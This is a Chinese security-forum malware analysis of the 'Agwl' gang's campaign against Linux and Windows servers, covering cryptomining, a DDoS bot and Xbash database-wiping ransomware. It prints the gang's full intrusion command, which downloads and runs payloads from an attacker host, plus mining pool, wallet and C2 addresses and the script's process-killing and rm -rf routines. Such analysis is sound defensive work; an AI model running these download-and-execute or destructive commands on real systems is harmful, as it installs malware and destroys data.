首页
社区
课程
招聘
[原创]Agwl病毒团伙对Linux系统的三连击:挖矿、DDoS、删库勒索
发表于: 2019-8-7 16:55 4770

[原创]Agwl病毒团伙对Linux系统的三连击:挖矿、DDoS、删库勒索

2019-8-7 16:55
4770

该团伙早期入侵后植入的都是基于Windows平台的木马,其挖矿木马部分会首选清除其他挖矿程序、阻止其他挖矿木马访问矿池、独享系统资源。而最近的更新中,我们监测发现,“Agwl”团伙增加了对Linux系统的攻击,入侵成功后加入基于Linux系统执行的bash脚本代码s667。该脚本运行后会添加自身到定时任务,并进一步下载Linux平台下的CPU挖矿木马bashf和GPU挖矿木马bashg。

然而此时攻击并没有结束,“Agwl”团伙会继续植入Linux平台的DDoS病毒lst(有国外研究者命名为“Mayday”)以及勒索蠕虫病毒Xbash。Xbash勒索病毒会从C2服务器读取攻击IP地址段,扫描这些网络中的VNC、Rsync、MySQL、MariaDB、Memcached、PostgreSQL、MongoDB和phpMyAdmin服务器进行爆破攻击,爆破登录成功后不像其他勒索病毒那样去加密数据再勒索酬金,而是直接将数据库文件删除后骗取酬金,企业一旦中招将会遭受严重损失。


图1 “Agwl”团伙攻击流程

中招主机通过phpStudy一键部署PHP环境,默认情况下包含phpinfo及phpMyAdmin并且任何人都可以访问,同时安装的MySQL默认口令为弱口令密码并且开启在外网3306端口。在未设置安全组或者安全组为放通全端口的情况下,受到攻击者对于phpStudy的针对性探测,并且暴露了其MySQL弱口令。攻击者使用MySQL弱口令登录后,在web目录下执行Shell,并在其中添加植入挖矿木马的恶意代码。

入侵后执行shell命令为:

cmd.exe /c "certutil.exe -urlcache -split -f http://wk.skjsl.com:93/Down.exe &Down.exe &del Down.exe&cd /tmp &&wget http://wk.skjsl.com:93/s667 &chmod 777 s667&./s667

“Agwl”团伙对Windows平台植入的木马为Down.exe,针对Linux平台植入的是s667。

Down.exe为自解压程序,解压后释放一个hosts文件和7个BAT文件。根据解压命令,文件被释放到C:\Windows\debug\SYSTEM 目录下,首先被执行的是start.bat


图2

Start.bat主要功能为:

创建目录C:\ProgramData\Microsoft\test并设置为隐藏,将down.bat、open.bat、skycmd.bat拷贝到该目录中并安装为计划任务反复执行,对应的计划任务名分别为“SYSTEM”、“DNS”、“skycmd”;然后从www[.]kuaishounew.com下载wget.exe作为后续下载工具;最后启动start2.bat。


图3

Start2.bat的功能为:

利用start.bat中下载的wget.exe从微软官方下载vc_redist.x64.exe,从www[.]kuaishounew.com下载unzip.exe(后续用到的解压工具)和hook.exe,然后执行install3.bat。

(vcredist_x64.exe是微软的Visual C++运行时库,安装后能够在未安装VC++的电脑上运行由 Visual C++开发的64位应用,该模块被下载以保证64位木马正常运行。)


图4

Install3.bat主要用于木马的三个服务“SYSTEM”、“DNS”、“skycmd”的安装和保持。

1、服务“SYSTEM”

执行的脚本为down.bat,主要功能为下载矿机程序wrsngm.zip进行挖矿,该矿机程序为开源挖矿程序xmr-stak修改而成,github地址https[:]//github.com/fireice-uk/xmr-stak。

使用矿池:wk.skjsl.com:3333

钱包:4AggMSAnFrQbp2c6gb98BZDBydgmjNhhxdN4qBSjwc3BDNQZwg5hRqoNczXMr7Fz6ufbwVaJL8sJmTdrp2dbKYcFRY2pe33


图5


图6

该钱包上线时间不长,查询收益目前仅获得0.7个XMR


图7

2、服务“DNS”

对应执行的脚本为open.bat。功能为替换本地域名解析文件hosts,然后启动挖矿程序。

替换后的hosts文件将其他的矿池域名解析指向127.0.0.1,阻止其正常访问从而独占挖矿所需的计算资源。从该文件中还会将木马原来的C2地址从111.230.195.174迁移至116.206.177.144。


图8

open.bat还会启动qc.bat来清除入侵过程中在xampp、www、phpstudy目录下载残留的EXE木马,以及badboy.php、test00.php木马。


图9

3、服务“skycmd”

执行脚本skycmd.bat。功能为下载skycmdst.txt,重命名为skycmdst.bat并执行,目前下载该文件为网页文件,但黑客可通过后台配置动态更改下载的恶意代码。


图10

s667为入侵Linux系统后首先执行的脚本。脚本判断当前是否是root权限,如果不是则下载lower23.sh到/tmp/目录并通过nohup bash命令执行;如果是root权限则添加下载执行s667的定时任务,每5分钟执行一次,然后下载rootv23.sh到/tmp/目录并通过nohup bash命令执行。


图11

最终下载执行的bash脚本lower23.sh或root23.sh负责植入Linux版本挖矿木马、清理竞品挖矿木马以及植入其他病毒等功能。

在function kills()中对竞品挖矿木马进行清除:

1、按照进程名匹配(包括被安全厂商多次披露的利用redis入侵挖矿的木马“ddg*”、“sourplum”、”wnTKYg”)。

pkill -f sourplum

pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg

pkill -f biosetjenkins

pkill -f Loopback

pkill -f apaceha

pkill -f cryptonight

pkill -f stratum

pkill -f mixnerdx

pkill -f performedl

pkill -f JnKihGjn

pkill -f irqba2anc1

pkill -f irqba5xnc1

pkill -f irqbnc1

pkill -f ir29xc1

pkill -f conns

pkill -f irqbalance

pkill -f crypto-pool

pkill -f minexmr

pkill -f XJnRj

pkill -f NXLAi

2、按照矿池匹配,杀死连接指定矿池的进程

ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9

3、按照端口匹配,杀死使用端口9999/5555/7777/14444进行tcp通信的进程

PORT_NUMBER=9999

lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9

PORT_NUMBER=5555

lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9

PORT_NUMBER=7777

lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9

PORT_NUMBER=14444

lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9

4、删除指定目录文件

rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius

rm -rf /tmp/*index_bak*

rm -rf /tmp/*httpd.conf*

rm -rf /tmp/*httpd.conf

rm -rf /tmp/a7b104c270

rm -rf /tmp/httpd.conf

rm -rf /tmp/conn

rm -rf /tmp/conns

rm -f /tmp/irq.sh

rm -f /tmp/irqbalanc1

rm -f /tmp/irq

在function downloadyam()中下载Linux挖矿程序bashg(由开源GPU挖矿程序xmr-stak编译)和配置文件pools.txt;下载Linux平台CPU挖矿程序bashf(采用开源挖矿程序XMRig编译)以及配置文件名config.json。两种挖矿程序均使用与攻击Windows平台时相同的门罗币矿池和钱包。


图12


图13

lower23.sh在完成挖矿功能后,还会植入基于Linux的DDoS病毒lst(国外厂商命名为Mayday)


图14

lst搜集以下信息,并将其保存至结构g_statBase中:

系统版本

CPU核心数及其时钟速率

CPU负载

网络负载


图15

创建一个新线程CThreadTaskManager :: ProcessMain(),将开始攻击和终止攻击的命令放入执行队列。在此之后,创建一个新线程CThreadHostStatus :: ProcessMain(),在此线程中,CPU和网络负载的数据每秒更新一次,如果接到请求,可以随时将数据发送到C&C服务器。


[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//